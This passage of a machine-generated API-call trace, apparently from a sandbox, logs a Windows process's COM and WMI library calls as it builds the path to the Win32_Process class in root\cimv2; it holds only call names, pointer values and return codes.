0x80004002 [0084.917] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x2 [0084.918] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x1 [0084.918] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0084.918] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0084.918] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3ba00, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3ba00) returned 0x0 [0084.918] WbemDefPath:IUnknown:AddRef (This=0x1bf3ba00) returned 0x3 [0084.918] WbemDefPath:IUnknown:Release (This=0x1bf3ba00) returned 0x2 [0084.918] WbemDefPath:IWbemPath:SetText (This=0x1bf3ba00, uMode=0x4, pszPath="") returned 0x0 [0084.918] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ba00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0084.918] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bac0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0084.918] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3ba00, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0084.918] WbemDefPath:IWbemPath:GetServer (in: This=0x1bf3ba00, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0084.918] WbemDefPath:IWbemPath:SetServer (This=0x1bf3ba00, Name="Q9IATRKPRH") returned 0x0 [0084.918] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0084.918] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0084.918] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0084.918] IUnknown:Release (This=0x111f638) returned 0x1 [0084.922] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf76950) returned 0x0 [0084.922] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76950, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0084.922] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76950, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b940) returned 0x0 [0084.922] WbemDefPath:IUnknown:Release (This=0x1bf76950) returned 0x0 [0084.922] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b940) returned 0x0 [0084.922] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0084.922] WbemDefPath:IUnknown:AddRef (This=0x1bf3b940) returned 0x3 [0084.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0084.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0084.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf76990) returned 0x0 [0084.923] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf76990, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.923] WbemDefPath:IUnknown:Release (This=0x1bf76990) returned 0x3 [0084.923] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0084.923] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0084.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0084.923] WbemDefPath:IUnknown:Release (This=0x1bf3b940) returned 0x2 [0084.923] WbemDefPath:IUnknown:Release (This=0x1bf3b940) returned 0x1 [0084.923] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0084.923] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0084.923] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b940, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b940) returned 0x0 [0084.923] WbemDefPath:IUnknown:AddRef (This=0x1bf3b940) returned 0x3 [0084.923] WbemDefPath:IUnknown:Release (This=0x1bf3b940) returned 0x2 [0084.923] WbemDefPath:IWbemPath:SetText (This=0x1bf3b940, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0084.923] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ba00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0084.923] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b940, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0084.923] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b940, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3b940, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0084.924] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bf3ba00) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b940, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b940, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b940, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0084.924] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3ba00, uIndex=0x0, pszName="ROOT") returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b940, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bf3b940, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0084.924] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bf3ba00, uIndex=0x1, pszName="CIMV2") returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bf3ba00, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0084.924] WbemDefPath:IWbemPath:SetClassName (This=0x1bf3ba00, Name="Win32_Process") returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3ba00, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ba00, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ba00, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ba00, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bf3ba00, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3ba00, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ba00, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0084.924] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ba00, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0084.925] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.925] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0084.925] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0084.925] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ba00, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0084.925] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3ba00, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0084.925] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0084.925] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0084.925] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0084.925] IUnknown:Release (This=0x111f638) returned 0x1 [0084.927] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf76670) returned 0x0 [0084.927] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf76670, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0084.927] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf76670, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bf3b7c0) returned 0x0 [0084.927] WbemDefPath:IUnknown:Release (This=0x1bf76670) returned 0x0 [0084.927] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bf3b7c0) returned 0x0 [0084.927] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0084.928] WbemDefPath:IUnknown:AddRef (This=0x1bf3b7c0) returned 0x3 [0084.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0084.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0084.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf765b0) returned 0x0 [0084.928] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf765b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.928] WbemDefPath:IUnknown:Release (This=0x1bf765b0) returned 0x3 [0084.928] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0084.928] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0084.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0084.928] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x2 [0084.928] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x1 [0084.928] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0084.928] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0084.928] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b7c0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bf3b7c0) returned 0x0 [0084.929] WbemDefPath:IUnknown:AddRef (This=0x1bf3b7c0) returned 0x3 [0084.929] WbemDefPath:IUnknown:Release (This=0x1bf3b7c0) returned 0x2 [0084.929] WbemDefPath:IWbemPath:SetText (This=0x1bf3b7c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0084.929] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bc40, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0084.929] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0084.929] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bc40, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0084.929] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0084.929] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0084.929] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0084.929] IUnknown:Release (This=0x111f638) returned 0x1 [0084.931] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf765f0) returned 0x0 [0084.931] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf765f0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0084.931] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf765f0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bf3b700) returned 0x0 [0084.931] WbemDefPath:IUnknown:Release (This=0x1bf765f0) returned 0x0 [0084.931] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bf3b700) returned 0x0 [0084.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0084.932] WbemDefPath:IUnknown:AddRef (This=0x1bf3b700) returned 0x3 [0084.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0084.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0084.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf764b0) returned 0x0 [0084.932] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf764b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0084.932] WbemDefPath:IUnknown:Release (This=0x1bf764b0) returned 0x3 [0084.932] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0084.932] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0084.932] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0084.932] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x2 [0084.932] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x1 [0084.932] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0084.932] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0084.933] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3b700, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf3b700) returned 0x0 [0084.933] WbemDefPath:IUnknown:AddRef (This=0x1bf3b700) returned 0x3 [0084.933] WbemDefPath:IUnknown:Release (This=0x1bf3b700) returned 0x2 [0084.933] WbemDefPath:IWbemPath:SetText (This=0x1bf3b700, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b7c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0084.933] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3b700, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 